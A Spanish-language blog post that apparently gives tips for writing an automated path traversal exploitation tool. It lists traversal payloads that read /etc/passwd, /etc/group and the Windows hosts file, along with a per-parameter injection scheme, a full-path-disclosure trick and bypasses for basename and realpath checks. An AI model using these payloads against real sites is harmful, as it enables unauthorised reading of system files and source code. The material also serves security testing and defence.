Tips for develop "Path Traversal" Tool. By Ricardo M.R.
En esta entrada voy a dar unos trucos para los que decidan desarrollar una herramienta que se aproveche de la vulnerabilidad “Path Traversal o Transversal” primero he de decir que no voy a explicar lo que es, si quieren saberlo pueden buscarlo en wikipedia o googleando un poco , no se trata de eso este post, si no de agilizar en la medida de lo posible la explotación automatizada de esta vulnerabilidad
Para empezar voy a explicar dos restricciones a nivel de código, dos funciones que pueden (joder) hacer mas compleja su explotación.
Definiciones
Basename: Regresa el nombre del archivo o directorio, por ejemplo /var/www/index.html -> regresa 'index.html'
realpath: Devuelve la ruta de acceso resuelta, resolviendo las referencias de caracteres '/./', '/../' y '/' extra
Estudio
Para realizar el escalado de directorios en los diferentes sistemas se utilizan diferentes sintaxis
..\..\ Windows
../../ Linux
../../ Apache
./ Apache con “basename” en el código fuente de la app vulnerable
Uno de los trucos que propongo es la de olvidar buscar ficheros windows y linux, centrándonos unicamente en la sintaxis de Apache teniendo en cuenta el basename y de esta manera si es vulnerable nos centraremos en una única sintaxis para descargar el archivo vulnerable de dentro de directorio web y de esta forma abstraernos del sistema operativo.
.././
../.././
Otra cosa a tener en cuenta es ir tan atrás como podamos en los directorios desde la primera petición ya que es posible no llegar pero seguro funciona si nos pasamos, esto no es nada nuevo, un simple recordatorio no aplicable al ejemplo anteriormente explicado:
Suponiendo el siguiente caso
/var/www/down/download.php?f=img.jpg
"Arbitrary file download”
Para acceder a /etc/passwd desde el download.php (fichero vulnerable)
../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd correcto
../../etc/passwd incorrecto
Siendo que basta solamente con ir atrás 3 saltos
../../../etc/passwd para llegar al etc/passwd
Desarrollando la App
Un “Paso a Paso” de un caso común:
A la url se le inyecta por cada parámetro:
[linux] ../../../../../../../../../../../../../../../../etc/group
[windows] \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts
con lo cual una url tal que así
http://pepe.com/?a=1&b=2
terminaría variando como se aprecia a continuación:
2 peticiones en los 2 parámetros para la descarga del fichero “etc/group” en Linux.
http://pepe.com/?a=[linux]&b=2
http://pepe.com/?a=1&b=[linux]
y 2 peticiones en los 2 parámetros para la descarga del fichero “hosts” en Windows
http://pepe.com/?a=[windows]&b=2
http://pepe.com/?a=1&b=[windows]
Con Mod_Rewrite, Sin basename y sin realpath
----------------TRUCO 1---------------------------------
Ejemplo: http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg
En este posible caso el fichero ptraversal.php realmente no se encuentra en ./PathTraversal/ptraversal.php
ya que con mod rewrite se ha especificado que cuando se acceda a http://localhost/PathTraversal/ptraversal.php
se redirija a ./xxx/yyyy/zzzz/PathTraversal/ptraversal.php
por ello se va a realizar las pruebas estándar para win y linux
../../../../../../../../../../../../../../../../etc/group
\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts
----------------TRUCO 2---------------------------------
Se hace una petición para producir un error:
http://xxxxx.com/download.php?file[]='
Si en el “Source” se encuentra un “FPD” se obtiene la ruta interna y se concatena a la url
<b>/home/jonathan/public_html/download.php</b>
tal que así, logrando de esta forma tener la ruta real (absoluta).
http://xxxxx.com/download.php?file=/home/jonathan/public_html/download.php
Sin Mod_Rewrite, Con basename y con realpath
----------------TRUCO 1---------------------------------
Ejemplo
http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg
Primero se corta la url desde dominio/ hasta ?
PathTraversal/ptraversal.php
se añade el ./
./PathTraversal/ptraversal.php
Y a partir de aquí se intenta escalar directorios
http://localhost/PathTraversal/ptraversal.php?archivo=./PathTraversal/ptraversal.php erróneo
http://localhost/PathTraversal/ptraversal.php?archivo=.././PathTraversal/ptraversal.php correcto
Si lo que devuelve en la descarga del fichero o en la visualización de la web contiene <? y ?> podemos decir que es vulnerable ya que nos encontramos frente a “arbitrary file download” o un “Local File Include" (LFI).
Fuente: http://code-disaster.blogspot.com/